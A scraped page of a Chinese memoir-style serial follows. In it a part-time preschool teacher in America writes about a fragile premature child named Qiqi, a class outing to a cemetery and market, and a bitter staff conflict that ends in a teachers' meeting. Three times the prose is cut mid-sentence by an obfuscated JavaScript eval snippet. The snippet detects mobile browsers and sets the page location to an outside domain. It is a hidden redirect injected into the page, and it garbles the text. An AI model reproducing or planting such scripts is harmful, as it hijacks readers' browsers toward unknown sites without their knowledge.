这张感谢卡给我的印象十分深刻,因为它不似大多数家长的感谢卡那样泛泛而谈,而是句句言之有物,即便对我这样一位无足轻重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468894|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处于边缘的兼职老师。劳拉这位聪慧优秀的女性,没有和我说过几句话,却细心地注意和精准地捕捉到了我所做的事以及我是个怎样的人,对我的了解甚至比与我朝夕相对的老师们和有丰富教学经验的南希都要深刻——那是我第一次感到与劳拉的距离很近,觉得她是个难能可贵的有心人。 路易升到大班后,偶尔我还会在操场上看见抱着新出生的宝宝来接孩子的劳拉,她去世后曼达曾去路易家给三个孩子做过儿童看护,回来向杜冰和卡伦抱怨三个孩子在家里调皮得简直要翻天了。 时光如梭过得飞快,孩子也成长得飞快,一年多后路易的妹妹已经上小班了,一天我看见三个孩子在厕所门口的长凳上嬉戏玩耍,忍不住看得失了神——他们现在还懵懵懂懂不明白自己失去了什么,真不知道从小失去母亲会给他们将来的人生带来什么样深远的影响。 这时路易英俊的爸爸从门外进来,看到我仍像从前去中班接路易时那样冲我微笑,我难以想象这个中年男人曾经经历了什么,是怎样走过来的,虽然他现在看上去和从前没有任何不同。 我不想令任何人难堪,于是连忙收摄心神,也像从前那样对他微笑。 78.第二十章 早产儿琪琪 琪琪是早产儿,个子很小,一头又细又软的短发,两只眼睛一只往左看一只往右看,跑起来歪歪斜斜随时会撞到门框上,不过这些丝毫不妨碍她的聪明活泼,也未减少一丁点父母对她的疼爱。 一天琪琪在沙池里找到一枚二十五美分的硬币拿来给我看,我对她说:“这是一枚真正的硬币,你真幸运。” 她于是像宝贝似地攥着那枚硬币宣布:“这是我的第一个硬币,我要永远留着。” 过了一会儿她突然一脸惊惶地朝我跑过来,仿佛发生了很严重的大事,带着哭腔对我说:“我的硬币丢到围墙外面去了!” 平时孩子如果淘气把玩具丢出铁丝围墙,结局就是没有玩具玩,但我知道这枚硬币对小小的琪琪来说很重要,而她那严重的表情在她小小的脸上实在是太逗趣了,就破例找了一根长树枝,花了很大的力气从铁丝网眼里帮她把硬币够回来。 她自然欢天喜地,可是才两分钟的工夫却又跑过来对我说:“我的硬币又找不到了,你帮我找。” 这回我可不管她了,觉得她这种撂蛋鸡的习惯是注定与硬币无缘的,于是说:“我不会再帮你找了。” 她立刻开始用小耗子般又尖又细的声音“哎——”地哭起来,有点像在耍赖却实在毫无威力,令人只觉得好笑。 被闹得受不了了,我对她说:“你都不知道掉到哪里去了,我又怎么会知道呢?” 她只好偃旗息鼓,含泪接受现实。 另一天她又含着泪惊慌地从远处向我奔过来,我问她怎么了,她带着哭腔说:“我摔下来了。” “你从哪儿摔下来了?”我问。 “树桩上。” 我撸起她的袖子和裤管顺着她指给我的地方看,发现只是蹭破了点皮,就安慰她:“没有流血,只是会有点疼。” 她立刻停了眼泪,安心地跑开继续去玩。 这两件事让我成了这个孱弱固执脾气又大的小小孩童在学校最信任的人,从此无论发生什么事她都会第一时间跑来向我求助,而我给她的安慰和保证也会让她毫不犹豫地接受并安心,甚至连上厕所这种事也总是找我而不愿意找其他老师,还对我说“你是我最好的朋友”,搞得我心里热乎乎的。 一次她拉了裤子,我和颜悦色地帮她换得干干净净舒舒服服,以至于她特别骄傲地举着自己装脏裤子的塑料袋去告诉卡伦,惹得卡伦说:“琪琪,拉裤子不是一件值得骄傲的事。” 我帮她换裤子时发现她的肚子鼓出来一块,似乎有些异样,就小心翼翼地问她是怎么了,谁知她毫不在乎地回答“我的肚子上有个管子”,就仿佛在说“我的脸上有个鼻子”,然后就忙不迭地跑开去玩了。 因为是早产儿先天不足,我对琪琪有些同情,总是极力配合她的需求,照顾她的情绪,全班老师和孩子也都处处让着她给她许多额外的关照,可时间长了琪琪却越来越不不听话越来越自我为中心,午睡时让她休息她理直气壮地顶回来“我不想睡”,却不考虑在小床上翻跟头折腾出很大的声音是否会打扰到别人,让她收拾玩具她又理直气壮地顶一句“我不想收”,而不考虑自己弄乱的玩具为什么要让别人来替她擦屁股,我管了她几次她就很不高兴地对我说:“你不再是我的朋友了!” 我说:“我不是你的朋友没关系,但这件事你还是得做。” 有一次曼达叫琪琪自己穿鞋不让我帮她,她竟然跑到我跟前来发脾气,反复大叫:“我穿不好!我穿不好!” 我说:“是曼达让你自己穿鞋的,你应该去对曼达说。” 她却不敢到曼达面前发脾气,只敢用像小耗子般又尖又细的嗓音冲我叫唤,再配上歪歪倒倒的步伐,一副对人豪无威胁还脾气很大的样子,居然有点反差萌,我不恼反笑。 琪琪的平衡能力很差,非常容易摔跤和撞墙,却偏偏喜欢乱跑,说也不听,摔疼了只会哇哇大哭却不吸取教训,如果拉着她的手防止她摔跤她还会千方百计挣脱。有一次她在前面跑,眼看就要摔倒,我急得在后面拉住她衣领上的帽子,她很不高兴地大声对我说:“我不喜欢你拉我的帽子!”仿佛我不尊重她限制了她的人身自由似的。 另一次她手摔破了跟我要创可贴,我看她满手都是泥,就说“我先帮你把手擦干净”,谁知她却拼命缩着手大声哭喊:“为什么?为什么?我要创可贴!“搞得好像我要害她似的。 我也没耐心跟她解释了,直接对她说:“因为我这么说。” 哪儿来那么多为什么?跟她这样理解能力差还性子执拗不听劝的小孩如果事事都要解释清楚征得她的理解和同意,我岂不是要累死了? 没想到我不再迁就她她反而老实了,乖乖把手伸出来。 帮她擦完手我才拿出创可贴,一边帮她贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468895|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一边解释:“要先擦干净才能贴创可贴。” 我有时忍不住会想这个社会是否对像琪琪这样的弱势群体太多照顾和资源倾斜,久而久之以至于他们习以为常却不再懂得考虑他人的感受。不过大多数时候琪琪还是挺可爱的,个子小小的像只小动物,喜欢听故事,对一切都充满了好奇心。 一天卡伦带全班孩子去墓地玩——是的,你没看错,就是墓地,美国的死亡文化与中国很不相同,中国人对于死亡十分避讳,孔夫子曰“未知生,焉知死”,意思就是忌讳的事少提,而美国人却因为宗教信仰的缘故能够比较坦然地面对死亡,追悼会往往办得像是一场氛围温馨的聚会,亲朋好友在葬礼上追忆逝者的点滴往事甚至趣事,美国的墓地也经常分布在住宅区或闹市,墓地边上的房子甚至因为紧邻“绿地”售价更高。 距离幼儿园不远处的镇中心有一座教堂,教堂后面有一小片临街的墓地,平时周围车水马龙,卡伦有一次就带全班小朋友去那片墓地玩,她把走路不稳的琪琪放在一辆婴儿车里推着,对班上的其他孩子并不像前幼儿园谨小慎微的玛丽安那样用绳子串成一串,而是大而化之地和几个老师像轰小鸟一样把孩子一路往前轰,如果遇到个别不听指挥的孩子脱离了队伍,卡伦就会大喝一声:“XXX,停下,我叫你停下!”然后上前像抓小鸡一样紧紧捉住那个孩子的手腕——说老实话,我对于卡伦这种粗线条的带孩子方式还挺欣赏的,因为可以自己走路的孩子显然比被绳子串着的孩子要自主、奔放、快乐得多。 琪琪坐在婴儿推车里,为自己享受的“特权”又开心又有点不好意思地笑,到了墓地,卡伦把琪琪从推车里抱出来,让孩子们分散在墓碑中间自由活动,并像个导游一样带着孩子查看和讲解看到的墓志铭:“这个人叫约翰,活了八十三岁,曾经是个建筑师。” 镇上每月举办一次“农夫市集”活动,附近的农夫会把地里产的农产品拿来摆摊售卖,还有街头艺人表演节目。另一次卡伦又轰着孩子们去农夫市集逛,一群可爱的孩子在市集里好奇地打量各种蔬菜水果农作物,遇到不认识的就问老师,又开心地围观街头表演,在一位吹口琴的老爷爷的指挥下跟着欢快的乡村音乐在某个固定的节点一起发出“咦哈”的声音,最后卡伦买了一纸袋水果回去洗干净分给孩子们吃——我觉得这样的活动要比沙文刻意安排的那些活动生动有趣多了。 79.第二十一章 烽烟再起 星期一孩子午睡时只有我和曼达在教室里,我正在准备孩子起床后要吃的零食,曼达突然叫我,原来睡在她身边的艾琳吐了。 “彦岚,你可以去办公室让秘书给艾琳的父母打个电话说她吐了吗?”曼达对我说。 我依言而行,刚回到教室,她又大声对我说:“彦岚,请拿手套和衣服过来给艾琳换。” 我去厕所拿了一件艾琳的备用衣服和一双一次性橡胶手套,回去看见曼达已经在教室里找了一双一次性手套戴上在给艾琳擦胸前的秽物,便将衣服放在一旁,问她需不需要裤子。 她说:“不需要,给我拿个塑料袋。” 我拿了个塑料袋过去,帮她撑开让她把脏衣服放进去,刚坐回准备零食的小桌旁,她又高声道:“彦岚,你可以去拿条裤子吗?” 我只得又去厕所拿裤子给她,她却说:“你先拿着。” 我将裤子放在旁边柜子上,她又指着地上吐了秽物的盆说:“你可以把这个拿去厕所倒掉吗?” 我的脸已经青一阵白一阵,心想她这是在干什么?我忙着她闲着,一个孩子在她身边吐了,她清理的时候还继续像个老佛爷似的坐在那里连屁股都不抬一下,要另一个正在忙的老师一直伺候着,当着全班孩子的面把我使唤得团团转,真把我当成她的使唤丫头了? 我强忍着心中的厌恶拿了副手套戴上,拿起那个盆,里面还泡着一双曼达脱下来的脏手套,去厕所忍着恶心将秽物倒掉,又用水把盆冲了几遍,回到教室看见曼达已经站了起来。 我看了一下教室里孩子午睡的情况,告诉曼达我要去门外更新一下午睡情况表,她说“好”,却立刻又叫住我指着竖在门边的艾琳的小床厉声道:“你不介意的话,请在更新完午睡表之后把这张床给擦了。” 她的语气重重地落在“请”字上,那意思分明是:“你没有选择,必须去做!” 我此时内心对曼达厌恶以极,觉得她简直得寸进尺到令人发指,对我也极度不尊重,便冷冷地看了一眼那张床,一声不响地径直走出教室——我知道自己的行为不啻于狠狠回了曼达一个耳光,但她实在是踩到了我的底线。 作为下午上班的兼职老师,孩子午睡时我有一堆职责需要完成,曼达刚才的一通支使已经大大拖慢了我的工作进度,我心烦意乱地更新完午睡表,匆匆准备完零食,摆放孩子们下午要用的玩具和椅子,又给他们摆鞋子,不得片刻闲暇——通常孩子们午睡前会把脱下来的鞋子集中放在一只大塑料筐里,如果发生火警之类的意外情况,老师们会搬起鞋筐带着孩子迅速撤离到室外,这样孩子们在紧急情况下不至于没有鞋穿,但是每天孩子起床前就需要老师从鞋筐里把鞋拿出来帮他们一双一双摆好,原本这并不是我的责任,其他老师都会做,可曼达却是从来不干的。 大约是被我回击令她很不爽,要向我表明她也没闲着,曼达突然一反常态地假装特别忙碌,把醒着的孩子指挥得团团转,让他们拿玩具拿故事书,自己还主动搬了不少张小床,这种事她平时也是从来不干的。 还好午睡结束她就下班了,眼不见心不烦,整个下午我竭力对其他老师表现得很客气,因为知道今晚曼达必定会在我背后说坏话告刁状,明天免不了要面对今天还击她的后果。 下班回家后这件事一晚上都在我的心头萦绕,内心充满了愁苦,隐隐觉得前幼儿园的噩梦又要重演了,因为曼达是个两面三刀能量极大的人,得罪了她就等于得罪了和她一条阵线的卡伦、杜冰三个人,若是她们合起伙来在园长那里说我的坏话,众口铄金,我形单影只如何抵挡,又如何自保?只怕从此要永无宁日了。 心中满是恐惧,虽然我知道自己没有做错任何事,在上个幼儿园吃的苦头让我学会了低调做人,因此来这里工作后我便收敛一身锋芒,将姿态放得低到尘埃,卑微地尽心竭力辅佐每一位老师,只想与人相安无事,没想到却再次被逼到墙角退无可退,忍无可忍只得反抗。 第二天鼓起勇气去上班,一到学校就看见卡伦在走廊那头破天荒很亲热地冲我笑,一旁杜冰的表情却有些复杂和冷淡,未像平常那样和我打招呼,我心知曼达一定已经在背后告过我的状了,因为这两位老师的表现都很反常。 进到教室一群孩子个个很欢喜地纷纷向我打招呼,仿佛我是个很受欢迎的老师,让我内心十分欣慰,也多了一份安全感。 今天曼达没来上班,下午我仍像平日那般兢兢业业做足每一件职责内的事,在操场上杜冰突然笑着对我说:“你知道现在扎克每二十分钟就需要上一次厕所吗?” 我诚惶诚恐地笑着回答:“之前不知道,你想让我现在带他去厕所吗?” 她反问:“现在有二十分钟了吗?” “超过了。” 我回答,立刻起身招呼扎克跟我去厕所,过二十分钟又带他再去,只为向杜冰表明我愿意积极配合她的工作,并没有任何消极抵抗的意思。 今天杜冰和我搭档到最后,她主持集体活动前特意告诉我活动中途需要我带两个孩子去厕所,我笑着点头答应。 活动中间杜冰停下来叫我带孩子去厕所,从厕所回来她又对我说还有一个孩子要去厕所,到了厕所那个孩子却说尿不出来,我刚回到教室坐下打算写日志,杜冰又问另一个小女孩要不要去厕所,小女孩说不用,杜冰停下活动道:“你最好还是去一下,跟彦岚一起去。”我只好又放下日志笑容满面地再带那个小女孩去厕所,她也同样说尿不出来。 至此我突然产生了一种很不好的感觉——杜冰是在借着让孩子上厕所故意整我,因为活动中途带前两个容易尿裤子的孩子去厕所还说得过去,可后面两个大孩子也被强逼着去上厕所却是从未有过的事。 原本我只是讨厌曼达,对杜冰的印象一直挺好,还担心她因为曼达的事误解我,可如果她真是在整我替曼达出气就太令人倒胃口了,但愿我只是瞎猜。 第三天曼达回来了,梳着高高的马尾,仿佛有些示威的意味,可我还是连看都不想看她。 午睡时小班的老师凯莉拿着一只大信封来收给行政团队买圣诞礼物的捐款,对我说:“你如果不想捐也没关系。” 我连忙道:“不不,我想捐!” 行政团队包括两位园长人都很好,我是真心想要向他们表达谢意,去钱包里拿了一张二十美元的钞票交给凯莉,这是学校规定捐款的上限。 凯莉又让我回头告诉曼达如果想捐款的话去小班找她,我含糊地答应了,其实心里并不想和曼达打交道。 曼达午休回来后我硬着头皮笑着将凯莉的话转告给她,她也笑着谢了我,不过笑容转瞬即逝,之后大家再无目光接触。 下午室外活动时我一直在卡伦的要求下陆续带所有组的孩子上厕所,可是以前她从来不会对我有这样的要求。 回到教室我吩咐我这组的孩子把脱下来的外套挂在教室门口,往常孩子们都是一进教学楼就把外套脱下来挂在厕所门口,上完厕所再把外套带回教室,但是嘉娜昨天告诉我从现在开始每天改在教室门口脱外套。 其他孩子都按照指令行动,只有琪琪不听指挥仍然往厕所跑,我喊她回来,卡伦突然语气不善地在一旁冲我吼道:“她急着上厕所,你应该跟着她!” 我只好赶紧叫上组里所有的孩子一起跟上,又嘱咐一个脱了一半外套的孩子挂好外套再自己过去,心里却有些困惑:卡伦明明看见我刚带琪琪在外面上过厕所,不知道是真的因为琪琪是早产儿不能等,还是因为她看不惯我才故意那么说的。 带着六个孩子去厕所,这时刚从室外进来的曼达把自己组的六个孩子一股脑儿丢到厕所里,连招呼都不打一声就自顾去了教室,剩下我一个人看着十二个孩子,厕所里瞬间乱成了一锅粥。 当我终于带着最后一个孩子离开厕所时,却发现厕所门口的长椅上和地上扔着几件曼达组里孩子的外套、帽子和手套,我气得不想管,转念一想又怕待会儿家长来找怪到我这个最后离开厕所的老师头上,只好帮曼达拿起那堆衣物。 回到教室看见卡伦正在给孩子读故事,曼达无所事事地站在一旁,我故意大声问:“我在厕所门口长椅上发现几件外套,是谁的?” 卡伦这时抬起头十分嫌恶地看了我一眼,我从中解读到两层含义:第一、我打扰到她给孩子读故事,令她很恼火;第二、“就你能,不就多陪孩子上了会儿厕所不乐意么,就来故意表功!” 我被卡伦的眼神刺痛了,联想到她下午在操场上以及刚才在教室门口对我反常的态度,我知道前天与曼达之间的冲突并没有过去,而是一直在发酵,成为她们心里的一根刺,接下来无论我做什么她们都会看不顺眼挑我的毛病放大了进行解读,如果我不做点什么只怕将永远不得安宁了。 我压低声音让几个来认领衣物的孩子把衣物放起来,曼达也过来帮了一下忙,她应该是意识到那些衣物是她丢下的。 过了一会儿曼达下班了,我在心里打定主意:今天干脆直截了当和卡伦谈一谈,戳破那层彼此猜疑的窗户纸,让卡伦了解故事的另一面,争取她的支持,尽量打消她们对我的猜忌。有了这个想法,虽然有点紧张,心却轻松了,看卡伦似乎也不再那么令人害怕了。 到了下班时间,卡伦穿上外套准备离开,我上前小声对她说:“卡伦,你有时间吗?我有些事想和你谈谈。” “当然,你想和我谈什么?”她回看着我,眼神里读不出任何情绪。 我知道曼达一定已经添油加醋告了我的歪状,没必要对卡伦拐弯抹角,于是开门见山地说:“曼达对我的一些做法令我感觉很不好,我本来有些犹豫该不该说,因为我知道你们是朋友——” 卡伦立刻打断我:“不不,这和朋友没关系,你有什么都应该说出来。” 我接着道:“但我觉得你是个公平的人,所以我决定说出来。” 我故意给卡伦戴高帽子,这样她接下来也不好太偏颇。 “我感觉曼达经常对待我就像是她的私人助理或是佣人, 这让我觉得很不受尊重,前天午睡的时候艾琳吐了......”我描述了一下那天的情形。 卡伦听完立刻说:“如果某个孩子吐了,其他人也会做曼达要你做的那些事。” 我连忙解释:“我总是很愿意帮忙的,只是曼达的语气让我觉得很不被尊重,好像我没有选择必须去做。” 卡伦向我确认:“那么不是因为你不愿意做,而是因为曼达的方式让你觉得不舒服?” 我使劲点点头:“是的”。 “她那天身体不舒服,可能导致态度不太好,你想让我跟她谈一下吗?”卡伦显然是在替曼达说话,我可以想象曼达一定在背后抱怨她生着病我却根本不帮忙,还给她脸色看。 我道:“是的。本来那件事过去我也不打算再提了,可是今天又发生了一些事,平时我总是第二组进教室,有时杜冰最后进来我会主动提出留在厕所帮她照看孩子,因为我想她可能想在五点钟之前回家,而我反正也总要待到六点钟,可是今天曼达进来后直接把她那组孩子丢在厕所,连问也不问我一声,就好像——” “就好像那是你的责任。”卡伦接口道。 “是的,这让我觉得不受尊重,也有些困惑。” 卡伦竟然说:“我们经常让你带孩子上厕所不是因为这必须是谁做的事,而是因为你虽然和孩子一对一的时候没问题,但是当孩子多的时候对于混乱的控制能力不足。” 我觉得卡伦这句解释根本站不住脚,因为操场上经常是几名老师一起,就算我控制能力不足总有能力足的,她们大可以轮流带孩子上厕所而无需全推到我一个人身上,况且让我一个人带十二个孩子上厕所就不担心我控制能力不足了吗? 卡伦好像一直在强调带孩子上厕所的事,上学期在操场上我不情愿带曼达组的米米上厕所,她一定又在我背后告了状,加上卡伦自己不喜欢带孩子上厕所,所以格外在意这方面——其实我并不介意带孩子上厕所,介意的是单单只让我带,这令我觉得很不公平,仿佛低人一等。 至于控制能力,我与没有多少幼儿园教学经验的曼达相比能力并不算差,只是我的性格和价值观让我不想用手段操控孩子,更愿意跟随孩子的脚步,给他们更大的空间和自主权,但孩子有时得寸进尺就显得我没有权威,而曼达只是喜欢用各种手段唬人和操纵人罢了,又擅于察言观色、逢迎拍马,表现得似乎很厉害,其实并无多少教育心得。 这些想法我当然不能告诉卡伦,于是只是继续道:“昨天嘉娜告诉我要让孩子在教室门口换衣服——” “是的,我看见你今天是这么做的。”她点头表示肯定。 “可是今天曼达让她组里的孩子在厕所门口换衣服,长椅和地上都是衣服、帽子和手套,我就只好拿进来了。” “是的,我看见你把衣服拿进来了。”卡伦终于露出了笑容,算是理解和接受了我之前打扰到她令她厌烦的举动,“下一次曼达再有什么让你觉得不被尊重的做法,直接告诉她,就说卡伦说的,让她把长椅上的衣服拿进来。明天是教师会议,你可以在会上把你的这些想法都说出来,我也有一些流程上的东西要说,还是你希望我帮你说?” “我希望你帮我说——还有上一次下雨,天又很冷,不知道你是否还记得,曼达让孩子在外面玩水,结果所有孩子的靴子、鞋子、袜子、裤子还有一些上衣都透湿了,她却把所有孩子都丢给我,自己只换了一两个孩子。” “你觉得太多了忙不过来。”卡伦又帮我补充。 “对,我就像打仗一样,”我一面说一面有些笨拙地比划着(卡伦忍不住笑了,仿佛通过我的动作想象到我当时的无助和手忙脚乱,觉得我其实并无太多公害),“整整忙了四十五分钟,筋疲力尽,曼达有问我一个人是不是可以,但是她说要回教室帮你——我能说什么呢?只好说可以。” 卡伦道:“下次直接对她说不,让她留在那里帮你一起换衣服——我很高兴你今天能告诉我这些,我会支持你,明天是教师会议,你可以把想法说出来,大家面对面把话说清楚。” 我连忙说:“我不想那样,因为我英语不好,我想让你帮我跟她说。” 前幼儿园的教训尤在,我可不想大家当面锣对面鼓撕破脸皮,到时候曼达巧舌如簧和她的盟友们一起向我发难,我笨嘴拙舌又是个文化背景不同的外国人,只能束手成为被她们围攻的对象,有理也变成没理。 卡伦说:“好吧,这次我会帮你跟她说,但是下一次如果同样的事情发生,我希望你能自己站出来发声。” 我又最后补充:“其他老师——嘉娜、杜冰和你——都让我觉得很舒服,没有不被尊重,嘉娜和杜冰很好,你也公平,所以我觉得我们是可以共事的。” 我想向卡伦表明心迹,强调自己对她和其他人没有任何敌意,希望她们不要因为我和曼达之间的个人矛盾而猜疑我。评价卡伦时我仍是用了“公平”这个词,因为心知她是个聪明人,我和她原本也没什么交情可言,溢美之辞她也不会相信,这样反而比较有信服力——其实君子坦荡荡,又何须这些奴颜婢膝、虚与委蛇的策略,可是因为见识过太多眼界浅薄、心胸狭窄的人,我只有学会她们的方式才能少受伤害。 卡伦大声道:“所以只是曼达,是她的方式。” 我说:“是的。” 结束与卡伦的谈话离开学校,我并不寄希望于这次谈话就能完全改变她们对我的偏见,也不确定明天的教师会议会平安无事,只是想通过这次对话表明自己的态度,消除卡伦对我的猜忌和厌烦,让接下来在这里的日子好过一些。 星期四是例行教师会议,曼达从头至尾都表现得十分积极活跃,板着一张脸高声发表了许多意见,我仍是一副洗耳恭听大家发言的样子。 会议快结束时曼达突然说:“有件事情我想讲一下。” 我一听这话心知不妙,果然,她看向我气势汹汹地道:“彦岚,卡伦告诉我你去跟她说觉得我对你不尊重,还有对昨天的一些事有意见,你能当着我的面具体说说吗?” 主持会议的南希听闻此话垂目转身面向办公桌做出一副不打算参与的姿态,我见躲不过去,只好问曼达:“你想说哪件?是不尊重的事还是昨天的事?” 曼达一副大义凛然的样子:“哪一件都可以。” 我说:“我觉得你经常对我很不尊重。” “怎么不尊重?”她咄咄逼人地追问。 “对,给个例子。”嘉娜也在一旁说。 我于是将星期一的事简要说了一下,曼达等我说完立刻声色俱厉地开始反驳:“如果我的言辞有什么让你感到不舒服的,我向你道歉,但是那天情况紧急,我被艾琳吐了一身,她生病我也生病,当时教室里只有我们两个,我只能请你帮忙。” 曼达的反应和表情与前幼儿园的尅拉简直一模一样,也是牙尖嘴利、咄咄逼人。说实话那天她是否真的生病我不知道也没看出来,她所谓的“被吐了一身”显然是夸大其词,顶多可能被孩子的呕吐物溅到一些,当时教室里拉着窗帘光线昏暗也不好判断,我只看见她一直抱着艾琳闲坐在那里却把正忙着准备零食的我支使得团团转,也心知她一向如此,可是她平日里表面一套背后一套只逮着我一个人欺负使的都是暗劲,其他人不明就里,她现在避重就轻这么一说倒显得是我斤斤计较做得太过分——人类自从发明语言似乎就是用来歪曲事实的,真理往往掌握在巧舌如簧的人手里,这就是为什么我不愿和她当面对质让不明真相的众人来当判官。 刚刚还表现出不参与姿态的南希这时突然转过身来说:“彦岚,我想让你知道我们这里是一个团队,如果发生这种状况,所有人包括我如果在场都会帮忙的。” 我辩驳道:“曼达,我并不是不愿意帮忙,其实我是很乐意帮忙的,甚至所有的事我一个人做也没关系,可是你对我说话的方式让我觉得好像是在命令我,这让我感觉很糟。” 南希又说:“彦岚,曼达刚才已经向你道歉了,而且在那种情况下她可能不会有时间注意自己的语气或者说请你怎样,要是我的话,我会直接对在场的其他人说‘帮我拿这个,帮我拿那个’,她没有时间去做太多的交流。” 我没想到南希竟然完全站在曼达的角度帮她说话,有些不悦地反驳:“就是交流太多了,如果她只是说一句‘我需要帮助’我会立刻过去帮她的,比如杜冰的方式就让我感觉舒服很多,她告诉我扎克每二十分钟需要上一次厕所,那么到时间我自然会去做的。” 南希显然并不习惯被人反驳,继续道:“我们对你的期待是随时去支持和帮助其他老师,有什么看到了就应该立即去做,而不是要让人说,我说的这些话希望你好好想一想。” 卡伦这时在一旁对我笑着插了一句:“抱歉我知道你不想在教师会议上说这件事。”我想她这是向我表明曼达提起话题是自己的意思,与她无关,怕我误会。 曼达又当着南希的面声色俱厉地冲我说了几句,南希转头对她说:“曼达,有时你可能也要注意一下对杜冰说话和对彦岚说话语气的不同,就好像我对自己儿子和在外面对其他人说话的语气不能一样,想一想。” 我心道:“要是曼达对我说话的语气能像对杜冰说话那样和颜悦色倒好了。”不过这话当然不能说出口。 趁机向南希解释:“事实上我一直都是按照你的期待去做的,不用别人说总是随时看着准备帮忙。” 我说的是实话,自从来到这个幼儿园我生怕哪里做得不到招人不满,平时做事总是很卖力,眼里总是看着哪里有活主动去做,但是没有人在别人眼里是完美的,这种听起来不谦虚的话极易把自己树成靶子,果然,卡伦立刻在旁边来了一句:“那么我不得不说你看东西的视野有些窄。” 我也意识到刚才的话欠妥,连忙向卡伦陪笑道:“这一点我承认。” 卡伦见我服软,出言缓和了一下:“不过作为第一年的新老师这也是正常的。” 南希也道:“是啊,做了很多年的老师都是眼观六路的,我儿子就说我的脑袋后面好像长了眼睛。” 没想到这时嘉娜居然横插一句:“对,就好像昨天餐桌上只有扎克一个,旁边有十个孩子乱成一堆,你却只管坐在扎克旁边。” 我一直只认为卡伦、曼达和杜冰三人是同一阵线的,却万万没料到关键时候跳出来给对手送炮弹的竟是嘉娜,她时常喜欢在教师会议上发表一两句评论以显示自己的存在感和参与性,其实往往只是随大流,根本没过脑子,可今天她这大流随得也太不是时候了。 我只得大事化小,笑着向她解释:“那是因为给我的职责表上要求我那么做。” 卡伦帮我说了一句:“对,是有那么一个清单,上面有规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一直沉默不语的杜冰也加入进来:“还有昨天午睡时你在柜子的另一边,也许你是在忙着准备点心,可是这边几个孩子很乱都是我一个人在管。” 如果被几个人指责倒也罢了,但如果被所有人指责那性质就变了,我突然觉得现场的情形有些荒谬,我被曼达欺压了一年多,在她实在过分的情况下忍无可忍说出来为自己发声,没想到情势竟在不知不觉间演变成了大家集体揭露我的种种不足,我一下子成了众矢之的——这仿佛前幼儿园噩梦的重演,只是在这里众人说话还算克制,否则真成了另一场批判大会。 我感觉比窦娥还冤,因为第一,我毕竟只是个兼职老师,自问一直兢兢业业、小心谨慎、态度良好,如果真像她们要求的那般处处完美,直接当优秀班主任得了;第二,要论起来曼达的问题更多能力更不足,还总是拈轻怕重把自己的职责推给我,我多次看见卡伦亲自替曼达掩盖和弥补过错,只因为她有人罩着便没人说她一句,也未免太双重标准了;第三,在学校里比我做得差混日子的老师多了去,来我们班帮忙的大多数轮值老师能偷懒就偷懒,为数不少在孩子午睡时只顾看手机,我们班这几个老师看在眼里也不能怎样,顶多给轮值老师弄个职责清单,对我这样认真负责从不躲懒的人反倒鸡蛋里挑骨头墙倒众人推,实在令人心寒齿冷。 我明白,其实问题的重点不在于我做得有多少不足,而在于“看你不顺眼,做什么都是错”。 事已至此我还能说什么呢?当所有人都不向着你,势单力孤,即使再大的委屈也只能打落门牙和血吞,再多说任何话都只能招致别人更大的反感和反弹。 南希看出我的局促,微笑着接过话头:“彦岚,我希望对于你接下来的教师职业发展,你要学习的是多关注周围的状况,提升自己的能力,而不是仅仅把自己当作一个兼职老师来看待。” 我很感激南希在这时保全了我的颜面,给我递过来台阶,连忙借坡下驴,做出一副虚心受教的样子,身体前倾,满脸微笑地连连点头称是。 嘉娜居然还来了一句:“就是,你不是助理,是团队的一员。” 我也很感激嘉娜的这句话,虽然她在关键时刻临阵倒戈,但我知道她只是就事论事没有恶意,平时也一直对我平等相待、有话直说、不吝帮助。 对于杜冰我也感激,除了刚才那句,她作为曼达的好朋友今天从头到尾没怎么说话,无论出于何种原因,我觉得她至少是个不搬弄是非的人。 南希既然发话,大家也不好再说什么,卡伦又提了一下曼达下雨天把所有湿孩子留给我、昨天把自己组孩子的衣服丢在厕所门口长椅上让我拿回去这两件事,建议我“不行的时候就说‘不’,需要帮助的时候就找人帮忙”,南希也给了我一些指导性意见。 我顺势提出:“可不可以把午睡后带到厕所的孩子数目限制在六到八人,因为昨天有十二个孩子,实在太拥挤了。” 我知道这时提一些无伤大雅的要求一方面显得我虚心接受意见、积极参与改进,令一方面其他人因为刚刚占了上风要显示大度,应该不会反对。 果然,卡伦立刻道:“当然可以,六到七人是最合适的数目。” 嘉娜也跟着说:“你当然可以把一些孩子留在教室,我看你昨天带了十一个孩子去,还想‘哇,她怎么带了那么多?’” 我笑着说:“是十二个,后来又去了一个。” 心道若不是其他老师为了减轻自己在教室的压力把孩子都推给我,我能如此“自不量力”吗?可我如果擅自留几个孩子在教室她们肯定又是一肚子意见,今天正好当着南希的面领了这道“圣旨”,以后我的工作就会轻松很多。 我又趁机问:“还有关于琪琪,我现在知道她很怕冷,上厕所需要立刻去,还有什么其他我特别需要知道好照顾她的吗?” 